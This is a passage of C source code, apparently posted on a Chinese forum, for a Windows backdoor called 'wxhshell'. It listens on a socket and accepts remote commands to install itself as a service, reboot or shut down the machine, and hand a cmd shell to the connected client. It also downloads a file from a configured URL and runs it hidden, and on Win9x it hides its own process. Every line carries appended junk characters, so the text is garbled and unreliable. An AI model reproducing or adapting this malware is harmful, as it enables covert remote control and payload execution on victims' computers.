  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y*;Z(W.V#  
  } ?Z {4iF  
  else { %sP C3L  
zg+78  
    switch(cmd[0]) { N[d*_KN.!  
  YpoO:  
  // 帮助 EWNh:<F?  
  case '?': { zm) ]cq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); db$Th=s[  
    break; zvYkWaa_Qz  
  } xu(5U`K  
  // 安装 A-1Wn^,> *  
  case 'i': { F2]v]]F!  
    if(Install()) K#H}=Y A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M 8a^yoZn  
    else lrB@n?hk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /9NQ u  
    break; I8@NQ=UV0  
    } &1YqPk  
  // 卸载 *Uie{^p?  
  case 'r': { <:0649ZB  
    if(Uninstall()) U:m[* }+<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fs+l  
    else (xpj?zlmM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =`[08  
    break; =Ig'Aw$x  
    } ^5j|   
  // 显示 wxhshell 所在路径 mv|eEz)r  
  case 'p': { W!8g.r4u+,  
    char svExeFile[MAX_PATH]; akHcN]sa2  
    strcpy(svExeFile,"\n\r"); Pj>r(Cv  
      strcat(svExeFile,ExeFile); _ fha9`  
        send(wsh,svExeFile,strlen(svExeFile),0); "_]n_[t2C  
    break; B =@BYqiY  
    } .^j #gE&B  
  // 重启 Pf;'eOdp  
  case 'b': { jnsV'@v8Nj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ."Wdpf`~  
    if(Boot(REBOOT)) ojU:RRr4l$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Z!!wDHS  
    else { |F[E h ~  
    closesocket(wsh); Vd~{SS 2>  
    ExitThread(0); Hq[d!qc  
    } ]J+ }WR  
    break; YMOy 6C  
    } #\KSv Z  
  // 关机 Q*}#?g  
  case 'd': { P1)f-:;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W#87T_7T[  
    if(Boot(SHUTDOWN)) U.is:&]E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y}*rRm.:  
    else { ,L%\{bp5  
    closesocket(wsh); Ex9%i9H  
    ExitThread(0); &M(=#pq9  
    } l:mC'aR  
    break; PhW< )B]  
    } 3IQ)%EN  
  // 获取shell <-62m8N|  
  case 's': { &S}%)g%Iv9  
    CmdShell(wsh); ..6 : _{wg  
    closesocket(wsh); Qg;A (\z  
    ExitThread(0); 2*Hw6@Jj  
    break; Dw{rjK\TT'  
  } xO)vn\uJ  
  // 退出 c;c'E&9P]  
  case 'x': { ;> **+ezF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  /B)ZB})z  
    CloseIt(wsh); H6(kxpOI\  
    break; oV utHt  
    } 'b#RfF,7H}  
  // 离开 yE[ -@3v  
  case 'q': { ga&l.:lo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wU,{ 5w  
    closesocket(wsh); 7_C;-  
    WSACleanup(); #mwV66'H  
    exit(1); <6^MVaD  
    break; N p9N#m?  
        } >FED*C4  
  } ?#?[6t  
  } ks|[`FH  
BqC, -gC  
  // 提示信息 S6CM/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #TZf\0\!  
} 9XWHr/-_@  
  } >yFEUD:  
6z v+Av:  
  return; H|_^T.n?E  
} N|hNh$J[  
v(D{_  
// shell模块句柄 Au jvKQ(  
int CmdShell(SOCKET sock) HL$}Gh]q  
{ dd1m~Gm  
STARTUPINFO si; W$LaXytmak  
ZeroMemory(&si,sizeof(si)); %}jwuNGA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V&`\ s5Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RN\4y{@  
PROCESS_INFORMATION ProcessInfo; aiVd^(  
char cmdline[]="cmd"; #~?Q?"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .|Y2'TWQ  
  return 0; 'W>Bz,M6yo  
} 9Axk-c  
amq]&.M  
// 自身启动模式 |S48xsFvq  
int StartFromService(void) eUlF4l<]  
{ w"d~R   
typedef struct YBn"9w\#  
{ 3Tze`Q 9  
  DWORD ExitStatus; y~'F9E!i  
  DWORD PebBaseAddress; ppr95 Y]^  
  DWORD AffinityMask; 2KVMQH`B9  
  DWORD BasePriority; 9,|{N(N<!  
  ULONG UniqueProcessId; ?95^&4Oh0  
  ULONG InheritedFromUniqueProcessId; kG_ K&,;@  
}   PROCESS_BASIC_INFORMATION; gX<"-,5jc  
N: 'v^0  
PROCNTQSIP NtQueryInformationProcess; ?8[,0l:|  
+7n;Bsk _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jqq96hP,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 zuM?Dp  
tiG=KHK%o  
  HANDLE             hProcess; *A C){M  
  PROCESS_BASIC_INFORMATION pbi; dr0<K[S_  
kbzzage6L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PD$XLZ  
  if(NULL == hInst ) return 0; z =1 J{]  
Kp?):6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [tYly`F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); taOD,}c|$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *0zdI<Oe  
MGpP'G:v  
  if (!NtQueryInformationProcess) return 0; D /ysS$!{  
FEj{/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H.|v ^e  
  if(!hProcess) return 0; BwtjTwd  
ucP}( $  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &LM@_P"T  
r&sm&4)p-5  
  CloseHandle(hProcess); WLGk  
rX*4$d0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g a|RW0  
if(hProcess==NULL) return 0; 3YT>3f!\  
'o=`1I  
HMODULE hMod; ;u`zZb=,[  
char procName[255]; =9$hZ c  
unsigned long cbNeeded; gwE#,OY*  
xGsg'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r0kJx$f  
3vRRL  
  CloseHandle(hProcess); |9>?{ B\a  
_kUf[&  
if(strstr(procName,"services")) return 1; // 以服务启动 @IL_  
=d>^q7s  
  return 0; // 注册表启动 # \9sCnb  
} #T<<{ RA  
S1oRMd)r  
// 主模块 vi?{H*H4c  
int StartWxhshell(LPSTR lpCmdLine) ~lO^ C  
{ y<r7_ysi  
  SOCKET wsl; iaXpe]w$n  
BOOL val=TRUE; MT{7I"  
  int port=0; d*3;6ZLy  
  struct sockaddr_in door; bOR1V\Jr$q  
I3Gz,y+  
  if(wscfg.ws_autoins) Install(); mlC_E)Ed5  
IG@.WsM_  
port=atoi(lpCmdLine); 7A0D[?^xe  
b37F;"G  
if(port<=0) port=wscfg.ws_port; H9'Y` -r  
qOaI4JP@  
  WSADATA data; _  dFZR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o&45y&  
7"}<J7"})  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +~~FfIzf#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HPl'u'.Hg  
  door.sin_family = AF_INET; !V|i\O|Q2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jlgo@?Lc  
  door.sin_port = htons(port); I4]|r k9  
cHN eiOF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  c(Liwuj  
closesocket(wsl); QC@nRy8%  
return 1; l)y$c}U  
} t(3<w)r2  
dH4wyd`  
  if(listen(wsl,2) == INVALID_SOCKET) { Y rq-(  
closesocket(wsl); a1V+doC  
return 1; 5IOMc 4v  
} 'r`#u@TTZ  
  Wxhshell(wsl); 9WN 4eC$  
  WSACleanup(); p.{9OrH(4  
xj 6ht/qq  
return 0; 'iy &%?  
eu!B ,  
} Fkgnc{NI  
xWkCP2$?P  
// 以NT服务方式启动 >E*j4gg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -h=K]Y{`  
{ T)%34gN  
DWORD   status = 0; 9 Yv;Dom  
  DWORD   specificError = 0xfffffff; uJ:'<dJ  
@C[]o.r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y1 e>P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r!Ujy .R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {2u#Q 7]|  
  serviceStatus.dwWin32ExitCode     = 0; aLr\Uq,83  
  serviceStatus.dwServiceSpecificExitCode = 0; m1,?rqeb  
  serviceStatus.dwCheckPoint       = 0; 1J$sIY,Ou  
  serviceStatus.dwWaitHint       = 0; aXi5~,Ks_  
OVr, {[r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s^5KFK1  
  if (hServiceStatusHandle==0) return; r\6 "mU  
IIC1T{D}v  
status = GetLastError(); lwS6"2q  
  if (status!=NO_ERROR) J:s^F n  
{ :e9}k5kdk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tK9_]663  
    serviceStatus.dwCheckPoint       = 0; 4 ZD~i e  
    serviceStatus.dwWaitHint       = 0; 02g!mJW>}y  
    serviceStatus.dwWin32ExitCode     = status; osKM3}Sb  
    serviceStatus.dwServiceSpecificExitCode = specificError; =#WoeWFW*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q ld2<W  
    return; vZEeb j  
  } US8pT|/  
M4hzf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X$"=\p>X  
  serviceStatus.dwCheckPoint       = 0; `[T|Ck5  
  serviceStatus.dwWaitHint       = 0; r!/=Iy@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ! Jh/M^  
} k-;%/:Om  
qJq49}2  
// 处理NT服务事件,比如:启动、停止 UhQsT^b_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {(mT,}`4  
{ M%dJqwH5{  
switch(fdwControl) 5xJyW`SWz  
{ /S}0u}jID?  
case SERVICE_CONTROL_STOP: ^[]G sF  
  serviceStatus.dwWin32ExitCode = 0; EL_rh TWw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i <KWFF#  
  serviceStatus.dwCheckPoint   = 0; XXuIWIhm  
  serviceStatus.dwWaitHint     = 0; dB{o-R  
  { pJM~'tlHV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3#)I7FG  
  } v7rEU S-  
  return; t*<@>]k  
case SERVICE_CONTROL_PAUSE: DDdMWH^o7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h rfu\cI  
  break; 9 *>@s  
case SERVICE_CONTROL_CONTINUE: *E"QFirk0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;; z4EGr  
  break; sZ`C "1cX  
case SERVICE_CONTROL_INTERROGATE: >)g`;iO  
  break; b$/TfpNdo  
}; bZ!*s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9qIdwDRY  
} 9f ,$JjX[  
2=H3yEJq  
// 标准应用程序主函数 H,r>@Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w+ZeVZv!r  
{ N?!]^jI,  
sflH{!;p  
// 获取操作系统版本 KPGo*mY  
OsIsNt=GetOsVer(); <5qXC.{Cyp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3QL I|VpO  
R~40,$e{  
  // 从命令行安装 J7q]|9Hus|  
  if(strpbrk(lpCmdLine,"iI")) Install(); XA`<*QC<  
ICSi<V[y1  
  // 下载执行文件 sjBP#_lW  
if(wscfg.ws_downexe) { 8v&4eU'S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  /[f9Z:>V  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'J+dTs ;0  
} O+vuv,gNi  
Ktrqrl^IJ  
if(!OsIsNt) { YJZVi ic  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q v/}WnBk  
HideProc(); 32[lsU>1  
StartWxhshell(lpCmdLine); Fl,(KST z  
} j6wdqa9!~  
else C(i1Vx<-  
  if(StartFromService()) 96fzSZS,  
  // 以服务方式启动 `TNW LD@Z  
  StartServiceCtrlDispatcher(DispatchTable); Y{P0?`  
else TxZ ^zj  
  // 普通方式启动 NUVFG;  
  StartWxhshell(lpCmdLine); 0eQwi l@  
`Q d_Gu,M  
return 0; a4gJ-FE  
}
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只看该作者 1 发表于: 2006-10-10
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